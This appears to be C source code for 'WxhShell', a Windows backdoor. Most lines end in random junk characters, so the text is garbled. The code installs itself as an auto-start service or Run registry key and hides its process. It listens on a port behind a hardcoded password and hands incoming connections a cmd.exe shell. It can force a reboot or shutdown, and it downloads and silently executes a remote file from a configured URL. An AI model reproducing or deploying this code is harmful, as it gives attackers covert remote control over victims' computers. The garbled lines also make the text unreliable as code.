    else { Byns6k  
    closesocket(wsh); p{JE@TM  
    ExitThread(0); 3UGdXufw  
    } p|=0EWo4U  
    break; 1c $iW>0K  
    } -PH qD  
  // 获取shell gjy:o5{vA*  
  case 's': { q%FXox~b  
    CmdShell(wsh); ":Pfi!9Wl  
    closesocket(wsh); ld'Aaxl&  
    ExitThread(0); c6HH%|  
    break; jhE3@c@pT  
  } v?4MndR  
  // 退出 j`"cU$NRM  
  case 'x': { "\kr;X'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D?cE$P  
    CloseIt(wsh); |R>I#NO5  
    break; h!1CsLd[  
    } K/LoHWy+n*  
  // 离开 nIqmora  
  case 'q': { Jz)c|8U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `L "{sW6S  
    closesocket(wsh); Y.8mgy>   
    WSACleanup(); FuO'%3;c  
    exit(1); q*{Dy1Tj  
    break; aEqDxr6  
        } -cWxS{vO  
  } n]%yf9,w  
  } E9S&UU,K  
L3X[; |v}  
  // 提示信息 h+Tt+ Q\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f<( ysl1[  
} 4+r26S,T  
  } Psu*t%nQ?A  
Gw Z(3  
  return; btU:=6  
} @c{b\is2  
o*|j}hnbv  
// shell模块句柄 }Gm/9@oKc  
int CmdShell(SOCKET sock) r1X\$&  
{ }Z\PE0  
STARTUPINFO si; 0Bhf(5  
ZeroMemory(&si,sizeof(si)); Q u@T}Ci  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +wg|~Lef h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ( cqVCys  
PROCESS_INFORMATION ProcessInfo; $F86Dwd  
char cmdline[]="cmd"; 5J<ghv>\P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m-!Uy$yM  
  return 0; @C6.~OiP  
} :w 4Sba3  
NX:i]t  
// 自身启动模式 s:#\U!>0`  
int StartFromService(void) /CN`U7:E  
{ [P746b_\e  
typedef struct )k|_ CW~  
{ n6 a=(T  
  DWORD ExitStatus; 8_F5c@7  
  DWORD PebBaseAddress; 69u"/7X  
  DWORD AffinityMask; &\GB_UA  
  DWORD BasePriority; \LpR7D  
  ULONG UniqueProcessId; Kdwt^8Umh  
  ULONG InheritedFromUniqueProcessId; '`Iuf\  
}   PROCESS_BASIC_INFORMATION; 7{e*isV  
@s;qmBX4  
PROCNTQSIP NtQueryInformationProcess; Q'S"$^~{  
k\a&4v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r+%}XS%;h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X,8 ]g.<  
:;]iUjiC8  
  HANDLE             hProcess; cfd7)(6  
  PROCESS_BASIC_INFORMATION pbi; T#e ;$\  
/a!M6:,pX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i>68gfx  
  if(NULL == hInst ) return 0; .0>2j(  
aM|^t:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \P|PAU@,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G\1\L*+0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B#K{Y$!v  
qKg*/)sD(  
  if (!NtQueryInformationProcess) return 0; 5L4{8X0X8  
3KW4 ]qo~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gK8{=A0c  
  if(!hProcess) return 0; /&#Gh?z  
/ `Glf|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Th6xwMq  
3B5GsI  
  CloseHandle(hProcess); OWRT6R4v  
G&HCOR!h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8=U0\<wT  
if(hProcess==NULL) return 0; TZk.?@s5  
a.yCd/  
HMODULE hMod; 2=PX1kI  
char procName[255]; tmJ-2  
unsigned long cbNeeded; ^%?*u;uU%  
'dstAlt?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x4C}AyR  
IE|$mUabm  
  CloseHandle(hProcess); plRBfw>]N  
Z4 +6'  
if(strstr(procName,"services")) return 1; // 以服务启动 sV)) Z2sq  
VNcxST15a  
  return 0; // 注册表启动 wjm_bEi  
} AD=vYDR+  
jr<`@  
// 主模块 <!s+X_^  
int StartWxhshell(LPSTR lpCmdLine) :d ts>  
{ y7quKv7L}  
  SOCKET wsl; *|T]('xwC  
BOOL val=TRUE; Xv%1W? >@/  
  int port=0; ,MxTT!9Su  
  struct sockaddr_in door; NM;0@ o  
;ctJ9"_g  
  if(wscfg.ws_autoins) Install(); 1webk;IM  
)oRF/Xx`g  
port=atoi(lpCmdLine); B8Cic\2  
WDC+Jmlgp  
if(port<=0) port=wscfg.ws_port; 4iD-jM_D  
mu[:b  
  WSADATA data; s?8vs%(l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .I"Qu:``  
+EZ Lic  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SCCBTpmf2B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *t JgQ[  
  door.sin_family = AF_INET; gua +-##)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b V5{  
  door.sin_port = htons(port); Cz%tk}2  
I0 78[3b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &?R2zfcM  
closesocket(wsl); kf8-#Q/B  
return 1; \~]HfDu  
} Z-fQ{&a{  
*oC],4y~D  
  if(listen(wsl,2) == INVALID_SOCKET) { xV_,R'l  
closesocket(wsl); f.%mp$~T  
return 1; .>Gnb2  
} 6 K+DgNK  
  Wxhshell(wsl); H6Mqy}4W  
  WSACleanup(); E,S[3+  
Li jisE  
return 0; QgZwU$`p0  
o"te7nBI  
} TzC'x WO  
Ua>lf8w<  
// 以NT服务方式启动 Df\~ ZWs!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v-k~Q$7~  
{ PgeC\#;9  
DWORD   status = 0; -K 7jigac  
  DWORD   specificError = 0xfffffff; llCBqWn  
INi9`M.h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CWP),]#n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o=t@83Fh5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \>T+\?M  
  serviceStatus.dwWin32ExitCode     = 0; `OL@@`'^{S  
  serviceStatus.dwServiceSpecificExitCode = 0; Xu4C*]A>  
  serviceStatus.dwCheckPoint       = 0; dr|>P*  
  serviceStatus.dwWaitHint       = 0; B}PT-S1l  
"$->nC.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wx a?.  
  if (hServiceStatusHandle==0) return; u3"0K['3  
?s=O6D&   
status = GetLastError(); 0Jz5i4B  
  if (status!=NO_ERROR) *Kpk1  
{ [g bYIwL.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0zQ^ 6@  
    serviceStatus.dwCheckPoint       = 0; ne]P-50  
    serviceStatus.dwWaitHint       = 0; gx-ib/_f1  
    serviceStatus.dwWin32ExitCode     = status; emhI1 *}  
    serviceStatus.dwServiceSpecificExitCode = specificError;  xJphG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O%g Q  
    return; {:D8@jb[  
  } |[)k5nUQ|  
7# ~v<M6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0rt@4"~~w  
  serviceStatus.dwCheckPoint       = 0; UlG8c~p  
  serviceStatus.dwWaitHint       = 0; =cwQG&as  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :~I^ni  
} {X85  
tx,_0[hZi  
// 处理NT服务事件,比如:启动、停止 9j0Hvo%T  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  /$Qs1*  
{ ))/NGa  
switch(fdwControl) (=2-*((&(A  
{ e\0vphS6  
case SERVICE_CONTROL_STOP: DzfgPY_Py  
  serviceStatus.dwWin32ExitCode = 0; YXJreM5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kPhdfF*Q  
  serviceStatus.dwCheckPoint   = 0; jL }bGD  
  serviceStatus.dwWaitHint     = 0; ~4 ~c+^PF  
  { !2.(iuE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \k DQ[4mGq  
  } y:Wq;xEiDo  
  return; ~[_u@8l!mN  
case SERVICE_CONTROL_PAUSE: {7k Jj(Ue  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fH-fEMyW  
  break; \# p@ef  
case SERVICE_CONTROL_CONTINUE: oO0dN1/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7U9*-9  
  break; S:bYeD4  
case SERVICE_CONTROL_INTERROGATE: q7}rD$  
  break; `fnU p-  
}; {\1:2UKkr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1^f7  
} T*Dd% f  
* ~D|M  
// 标准应用程序主函数 |r U?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CPW^pGT+i  
{ 2)~`.CD?L  
M_I.Y1|  
// 获取操作系统版本 *1H8 &  
OsIsNt=GetOsVer(); 6`PQP;   
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q#Tg)5.\  
(#&-ld6  
  // 从命令行安装 $ Jz(Lb{  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]C;X/8'Jf5  
x%v[(*F#y  
  // 下载执行文件 e3 #0r  
if(wscfg.ws_downexe) { %ER"Udh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a2!U9->!  
  WinExec(wscfg.ws_filenam,SW_HIDE); z4qc)- {L  
} URd0|?t9^L  
L@5j? N?F  
if(!OsIsNt) { t)4><22of  
// 如果时win9x,隐藏进程并且设置为注册表启动 D-/q-=zd  
HideProc(); vGCvJ*4!  
StartWxhshell(lpCmdLine); 0P 5s'2w  
}  )>=!</@  
else oimM)Yo  
  if(StartFromService()) F@tfbDO?  
  // 以服务方式启动 _xefFy  
  StartServiceCtrlDispatcher(DispatchTable); 'mELW)S  
else khc1<BBsT  
  // 普通方式启动 n5DS  
  StartWxhshell(lpCmdLine); fN_qJm#:$y  
P=[_W;->}  
return 0; 7es<%H  
} 6~!QibA|P  
b8 ^O"oDrp  
}@y(-7t  
oH,{'S@q  
===========================================  0"F|)  
nO+-o;DbC  
|AQU\BUj  
` pYyr/  
?u?Nhf %b  
3'7]jj  
" 8.!+Hm4  
Ud_7>P$a  
#include <stdio.h> /h7u E  
#include <string.h> [;Y,nSw  
#include <windows.h> `0_,>Z  
#include <winsock2.h> g5C$#<28  
#include <winsvc.h> mDXG~*1   
#include <urlmon.h> j S4\;  
= yFOH~_  
#pragma comment (lib, "Ws2_32.lib") |iA8aHFU  
#pragma comment (lib, "urlmon.lib") -d.i4X3j  
O**~ Tj  
#define MAX_USER   100 // 最大客户端连接数 }G)2HTaZ  
#define BUF_SOCK   200 // sock buffer U*:ju+)k  
#define KEY_BUFF   255 // 输入 buffer oj(st{,  
;u-[%(00S  
#define REBOOT     0   // 重启 2<T/N  
#define SHUTDOWN   1   // 关机 (e_z*o)\T  
[v+5|twxpU  
#define DEF_PORT   5000 // 监听端口 iG ,z3/~v  
^@C/2RX!  
#define REG_LEN     16   // 注册表键长度 aXyFpGdb9  
#define SVC_LEN     80   // NT服务名长度 O'Q,;s`uC  
b8 E{~z  
// 从dll定义API xHD$0eq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b['v0x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); noso* K7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vdcPpj^d5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8RI'Fk{  
Q!!u=}GYK  
// wxhshell配置信息 %a?\y_a=b  
struct WSCFG { n) j0h-  
  int ws_port;         // 监听端口 I 6'!b/  
  char ws_passstr[REG_LEN]; // 口令 p/qu4[Mm  
  int ws_autoins;       // 安装标记, 1=yes 0=no P6I<M}p  
  char ws_regname[REG_LEN]; // 注册表键名 (!PsK:wc  
  char ws_svcname[REG_LEN]; // 服务名 %g~&$oZmq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'T|EwrS j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !Ln 'Mi_B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hD[r6c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AHo}K\O?r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D<`M<:nq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 drxCjuz"  
o-o -'0l  
};  sd"eu  
gZ| !'  
// default Wxhshell configuration UcKVL zKs  
struct WSCFG wscfg={DEF_PORT, MH|F<$42  
    "xuhuanlingzhe", ifNyVE Hy  
    1, NcrBp(  
    "Wxhshell", (5;nA'  
    "Wxhshell", sPMICIv|  
            "WxhShell Service", '5b0 K1$"  
    "Wrsky Windows CmdShell Service", EOZ 6F-':  
    "Please Input Your Password: ", ~Zn|(  
  1, 2q(gWhcj  
  "http://www.wrsky.com/wxhshell.exe", `fOp>S^Q4  
  "Wxhshell.exe" {b'  
    }; sYfm]Faz  
)vUS).;S`  
// 消息定义模块 VJP#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JeN]sK)8x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; % H<@Y$r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #].q jOj  
char *msg_ws_ext="\n\rExit."; tLU@&NY`  
char *msg_ws_end="\n\rQuit."; @^<&LG5^  
char *msg_ws_boot="\n\rReboot..."; '"+Gn52#  
char *msg_ws_poff="\n\rShutdown..."; %JH/|mA&|  
char *msg_ws_down="\n\rSave to "; _#1EbvO*l  
5 NC77}^.  
char *msg_ws_err="\n\rErr!"; PJ4/E  
char *msg_ws_ok="\n\rOK!"; l=t/"M=  
,zuS)?  
char ExeFile[MAX_PATH]; "TP~TjXfq  
int nUser = 0; g!.piG|  
HANDLE handles[MAX_USER]; C>'G?  
int OsIsNt; ;B;@MD,B  
[W*M#00_&4  
SERVICE_STATUS       serviceStatus; d&AO 4^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^<Gxip  
A|4om=MO  
// 函数声明 3AglvGK7{  
int Install(void); a~J!G:(  
int Uninstall(void); 5}Id[%.x  
int DownloadFile(char *sURL, SOCKET wsh); ;5.<M<PH  
int Boot(int flag); ?PS?_+E\L  
void HideProc(void); Lq$ig8V:O7  
int GetOsVer(void); ?A3u2-  
int Wxhshell(SOCKET wsl); o>nw~_ H\  
void TalkWithClient(void *cs); /E2P  
int CmdShell(SOCKET sock); m+(g.mvK>  
int StartFromService(void); vQp'bRR  
int StartWxhshell(LPSTR lpCmdLine); Zoc4@% n  
4x&Dz0[[S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <;yS&8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QVJpX;u  
Q"D5D rj  
// 数据结构和表定义 '&hd^9]Lo  
SERVICE_TABLE_ENTRY DispatchTable[] = d"IZt;s/,  
{ 0g6sGz=  
{wscfg.ws_svcname, NTServiceMain}, OjAdY\ ]1  
{NULL, NULL} 2@lGY_O!m  
}; !*L)v  
$U. |  
// 自我安装 w;{Q)_A  
int Install(void) OF={k[  
{ M 87CP=yc  
  char svExeFile[MAX_PATH]; ?hGE[.(eh]  
  HKEY key; =PQ4S2Q  
  strcpy(svExeFile,ExeFile); 3[y$$qXI  
jl>TZ)4}V  
// 如果是win9x系统,修改注册表设为自启动 S[2?,C<2=  
if(!OsIsNt) { ~Kt1%&3{a?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /V{UTMSz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >e& L"  
  RegCloseKey(key); 71%$&6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;/_htdj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y#Q!mbp  
  RegCloseKey(key); [OTn>/W'  
  return 0; i}zz!dJTE  
    } Tg"? TZO~  
  } @MVul_@6  
} N&p0Emg  
else { (&Jo. <  
(CRx'R  
// 如果是NT以上系统,安装为系统服务 Bm,Vu 1]t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $OdBuJA  
if (schSCManager!=0) 'tw ]jMD  
{ wggB^ }~  
  SC_HANDLE schService = CreateService 6pSTw\/6  
  ( 49M1^nMvoo  
  schSCManager, nIr`T^c9c  
  wscfg.ws_svcname, q4Wr$T$gs=  
  wscfg.ws_svcdisp, M_Ag *?2I  
  SERVICE_ALL_ACCESS, uV_%&P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $pAJ$0=sw  
  SERVICE_AUTO_START, W90!*1  
  SERVICE_ERROR_NORMAL, M;Pry 3J  
  svExeFile, yU&;\'  
  NULL, ~v;+-*t  
  NULL, +B1&bOb  
  NULL, d4BzFGsW  
  NULL, %Z<{CV  
  NULL Q&vdBO/  
  ); ~G@YA8}  
  if (schService!=0) MTCfs~}m  
  { tB"9%4](  
  CloseServiceHandle(schService); {&>rKCi  
  CloseServiceHandle(schSCManager); 2b"DkJj'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Cs[ d:T  
  strcat(svExeFile,wscfg.ws_svcname); .l_Nf9=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p*,T~(A6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ssx#|InY  
  RegCloseKey(key); 3: WEODV2  
  return 0; wpYk`L r  
    } -JF^`hBD-  
  } VqV[ @[P  
  CloseServiceHandle(schSCManager); aIFlNS,y  
} ih/E,B"  
} m N}szW,  
{eI'0==  
return 1; t4#gW$+^?H  
} 5]LWWjT  
QK+,63@D\=  
// 自我卸载 KzO"$+M  
int Uninstall(void) YwET.(oo  
{ Uzzm2OS`  
  HKEY key; s$>n U  
<^Vj1s  
if(!OsIsNt) { F/BR#J1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '7el`Ff  
  RegDeleteValue(key,wscfg.ws_regname); jw=PeT|  
  RegCloseKey(key); GW;%~qH[,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "}qs +  
  RegDeleteValue(key,wscfg.ws_regname); aH{)|?  
  RegCloseKey(key); eIalcBY  
  return 0; /Yp#`}Ii  
  } lP`BKc,  
} <C&|8@A0  
} O7VEyQqf5  
else { F""9O6u  
$~.YB\3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }q@#M8b  
if (schSCManager!=0) i,*m(C@F}  
{ 9;U?_   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C$6FI `J  
  if (schService!=0) H( i   
  { dREY m}1  
  if(DeleteService(schService)!=0) { B F<u3p??  
  CloseServiceHandle(schService); `"&Nw,C  
  CloseServiceHandle(schSCManager); A_oZSUrR  
  return 0; $xZ ~bE9  
  } Pn OWQ8=  
  CloseServiceHandle(schService); `L`+`B  
  } {owuYVm  
  CloseServiceHandle(schSCManager); K-C,n~-  
} WV$CZgL  
} |} b+$J  
\6&Ml]1  
return 1; `9K5 ;]  
} h9ScN(|0y  
":Tm6Nj  
// 从指定url下载文件 Z)W8Of_  
int DownloadFile(char *sURL, SOCKET wsh) )ciP6WzzbI  
{ W]ca~%r  
  HRESULT hr; g) u%?T  
char seps[]= "/"; E^F<"mL*  
char *token; 50N4J  
char *file; ~SQ xFAto  
char myURL[MAX_PATH]; ~h@@y5<4  
char myFILE[MAX_PATH]; 0W*{ 1W  
L/tn;0  
strcpy(myURL,sURL); 7amVnR1f  
  token=strtok(myURL,seps); |cma7q}p  
  while(token!=NULL) OY`B{jV-  
  { @Uez2?  
    file=token; TsaQR2J@  
  token=strtok(NULL,seps); 3MQZ)!6  
  } 11yXI[  
1W{N6+u  
GetCurrentDirectory(MAX_PATH,myFILE); El<*)  
strcat(myFILE, "\\"); =9a2+v0  
strcat(myFILE, file); !g]5y=  
  send(wsh,myFILE,strlen(myFILE),0); ]WDmx$"&e  
send(wsh,"...",3,0); 6*9 wGLE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \QK@wgu  
  if(hr==S_OK) S"Cz. bv  
return 0; Kt_oo[ey{  
else +r8bGS]ki  
return 1; &*<27-x  
A ]A{HEX  
} sh$-}1 ;  
%)JEYH7Z  
// 系统电源模块 vAUt~ X"  
int Boot(int flag) 13!@L bC  
{ INi$-Y+  
  HANDLE hToken;  lln"c  
  TOKEN_PRIVILEGES tkp; g^]Iw~T6$  
XX~vg>3_  
  if(OsIsNt) { ':wf%_Iw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c 3QgX4vq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J2W-l{`r<  
    tkp.PrivilegeCount = 1; ~:z.Xu5m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Pqomi!1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p,fV .5q  
if(flag==REBOOT) { Wm}c-GD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K?^;|m-  
  return 0; 'K,\  
} t_3j_`  
else { | ;tH?E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u< BU4c/p  
  return 0; -&8( MT*  
} &R72$H9C8i  
  } S:_Ms{S  
  else { YO7U}6wBt  
if(flag==REBOOT) { Lj1l ]OD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;?2)[a  
  return 0; hC:'L9Y  
} 4qOzjEQ  
else { ~$HB}/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y_'ERqQ  
  return 0; n N<N~  
} t/i I!}  
} I@'[>t  
6Xvpk1  
return 1; JY0aE  
} >H;i#!9,  
FQ< -Wc  
// win9x进程隐藏模块 7]h%?W !  
void HideProc(void) ]ZY2\'  
{ $xbC^ k  
9pp +<c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;28d7e}  
  if ( hKernel != NULL ) ;>J!$B?,  
  { A5XMA|2_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (0$~T}lH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }\"EI<$s  
    FreeLibrary(hKernel); 3Zb%-_%j  
  } a('0l2e<u9  
Z,).)y#B  
return; Ma^jy.  
} _\WR3Q!V  
Dh I{&$O/  
// 获取操作系统版本 .G8`Ut Z  
int GetOsVer(void) .<hHK|HF  
{ O*xx63%jR  
  OSVERSIONINFO winfo; 7>Z|K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ')uYI;h9  
  GetVersionEx(&winfo); &`D$w?beg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j_8 YFz5  
  return 1; !vSI"$xd  
  else B]rdgjz*  
  return 0; s.2f'i+  
} 2@|`Ugjptl  
BPY7O  
// 客户端句柄模块 ;KL7SM%g4  
int Wxhshell(SOCKET wsl) D#g -mqar:  
{ E'QAsU8pP  
  SOCKET wsh; -+".ut:R  
  struct sockaddr_in client; I\@r ~]+y  
  DWORD myID; *QC6zJ  
7~h3B<  
  while(nUser<MAX_USER) h[ .  
{ \((iR>^|  
  int nSize=sizeof(client); dfDjOZSL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I5Vn#_q+b  
  if(wsh==INVALID_SOCKET) return 1; `0d 0T~  
jl,gqMn"V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); / ;`H )  
if(handles[nUser]==0) E)v~kC}7.  
  closesocket(wsh); noZbsI4  
else K.Xy:l*z  
  nUser++; 8em'7hR9  
  } +IdM|4$\1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xWLvx'8W  
Za|7gt];l  
  return 0; q*hn5K*  
} m06'T2I  
.n 9.y8C  
// 关闭 socket V._-iw]v  
void CloseIt(SOCKET wsh) 9 [eiN  
{ bxXpw&  
closesocket(wsh); GkAd"<B  
nUser--; -X.#Y6(  
ExitThread(0); ~;"eNg{ T  
} (}A$4?  
k[Em~>m  
// 客户端请求句柄 ` H'G"V  
void TalkWithClient(void *cs) TFSdb\g  
{ < 5zR-UA>  
oC&}lp)q  
  SOCKET wsh=(SOCKET)cs; omfX2Oa2  
  char pwd[SVC_LEN]; A*h8 o9M  
  char cmd[KEY_BUFF]; >.?yz   
char chr[1]; r_7%|T8  
int i,j; %'2P4(  
P;5)Net1X  
  while (nUser < MAX_USER) { OM EwGr(  
NLsF6BX/-  
if(wscfg.ws_passstr) { wT@Z|.)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iq;\},  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 579Q&|L.  
  //ZeroMemory(pwd,KEY_BUFF); e,(Vy  
      i=0; N.|F8b]v  
  while(i<SVC_LEN) { T8 FW(Gw#  
_}{KS, f]0  
  // 设置超时 l6'KIg  
  fd_set FdRead; @-q,%)?0}=  
  struct timeval TimeOut; )]>t(  
  FD_ZERO(&FdRead); ,N$Q']Td  
  FD_SET(wsh,&FdRead); NEBhVh  
  TimeOut.tv_sec=8; Qf:e;1F!  
  TimeOut.tv_usec=0;  ][ $UN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S>lP?2J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *l7 `C)  
P]+B}))  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `,O7S9]R+  
  pwd=chr[0]; {z oGwB  
  if(chr[0]==0xd || chr[0]==0xa) { 6#=Iv X4  
  pwd=0; "im5Fnu  
  break;  exWQ~&  
  } eaRa+ <#u  
  i++; HNZ$CaJh  
    } iM .yen_vp  
VwR\"8r3  
  // 如果是非法用户,关闭 socket !}=eXDn;A_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ekx(i QA  
} [if(B\&  
`xM*cJTZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MTYV~S4/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w,1N ;R&  
9SC1A-nF  
while(1) { d V%o:@Z  
 (?Ku-k  
  ZeroMemory(cmd,KEY_BUFF); AbNr]w&pXC  
-x ?Z2EA!  
      // 自动支持客户端 telnet标准   $1=7^v[U  
  j=0; JuJW]E Q  
  while(j<KEY_BUFF) { <Sot{_"li  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0Gu77&  
  cmd[j]=chr[0]; A rE~6X  
  if(chr[0]==0xa || chr[0]==0xd) { EW$drY@  
  cmd[j]=0; Uz;^R@  
  break; Q<>u) %92@  
  } ^!tX+`,6^  
  j++; T"\d,ug5[  
    } aT^ $'_ G  
| .+P ;g  
  // 下载文件 d.}65{F,x  
  if(strstr(cmd,"http://")) { sI\NX$M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C6ql,hR^h`  
  if(DownloadFile(cmd,wsh)) Gs#9'3_U5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &>-'|(m+2  
  else u^Cl s!C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tM LiG4 |7  
  } '@t,G,FJ  
  else { x& _Y( bHA  
wPU5L*/*i  
    switch(cmd[0]) { 9DBX.|  
  ij:xr% FJ  
  // 帮助 .BxI~d^  
  case '?': { <.`i,|?MHS  
